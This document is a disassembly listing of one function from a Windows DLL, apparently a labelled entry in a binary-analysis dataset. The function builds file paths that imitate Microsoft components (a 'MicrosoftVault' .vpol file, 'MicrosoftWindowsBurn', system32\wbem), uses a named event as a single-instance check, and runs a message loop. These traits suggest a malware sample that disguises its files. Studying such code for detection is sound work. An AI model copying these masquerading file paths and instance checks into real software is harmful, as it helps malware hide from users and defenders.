Function at 0x10002e60
Capabilities:
Get common file path
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x10022b98
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ecx, 0x10022b98
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002e80
sub ecx, edx
lea eax, [ecx + 0x10022b97]
nop
cmp byte [eax - 1], 0x5c
lea eax, [eax - 1]
jne 0x10002e90
mov byte [eax], 0
xor ecx, ecx
nop
mov al, byte [ecx + 0x10022b98]
lea ecx, [ecx + 1]
mov byte [ecx + 0x10022a97], al
test al, al
jne 0x10002ea0
push esi
push edi
push str.c:windows
push 0x10022b98
call fcn.1000a86a
add esp, 8
test eax, eax
je 0x10002f3a
push 0
push 0x1c
push 0x10022b98
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor ecx, ecx
nop
mov al, byte [ecx + 0x10022b98]
lea ecx, [ecx + 1]
mov byte [ecx + 0x10022997], al
test al, al
jne 0x10002ee0
mov edi, 0x10022b98
dec edi
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002f00
mov ecx, 0x10
mov esi, str.MicrosoftVault4BF4C442_9B8A_41A0_B380_DD4A704DDB28Profile.vpol
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, 0x10022998
dec edi
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002f20
mov ecx, 6
mov esi, str.MicrosoftWindowsBurn_
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
jmp 0x10002fca
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x10022b98]
lea ecx, [ecx + 1]
mov byte [ecx + 0x10022997], al
test al, al
jne 0x10002f40
mov ecx, 0x10022b98
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10002f60
mov eax, dword [str._tempProfile.vpol]
mov dword [ecx], eax
mov eax, dword [0x1001df14]
mov dword [ecx + 4], eax
mov eax, dword [0x1001df18]
mov dword [ecx + 8], eax
mov eax, dword [0x1001df1c]
mov dword [ecx + 0xc], eax
mov ax, word [0x1001df20]
mov word [ecx + 0x10], ax
mov al, byte [0x1001df22]
mov byte [ecx + 0x12], al
mov ecx, 0x10022998
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10002fa1
mov eax, dword [str._system32wbem_]
mov dword [ecx], eax
mov eax, dword [0x1001df28]
mov dword [ecx + 4], eax
mov eax, dword [0x1001df2c]
mov dword [ecx + 8], eax
mov eax, dword [0x1001df30]
mov dword [ecx + 0xc], eax
push 0x10022b98
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.startup12
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
je 0x10002fff
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10002fff
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
call fcn.10003090
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
lea eax, [ebp - 0x1c]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x10003044
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call edi
lea eax, [ebp - 0x1c]
push eax
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call esi
test eax, eax
jne 0x10003027
pop ebx
push str.startup12
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10003063
push eax
call esi
mov eax, dword [0x10022c9c]
test eax, eax
je 0x1000306f
push eax
call esi
mov eax, dword [0x10022c98]
test eax, eax
je 0x1000307b
push eax
call esi
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret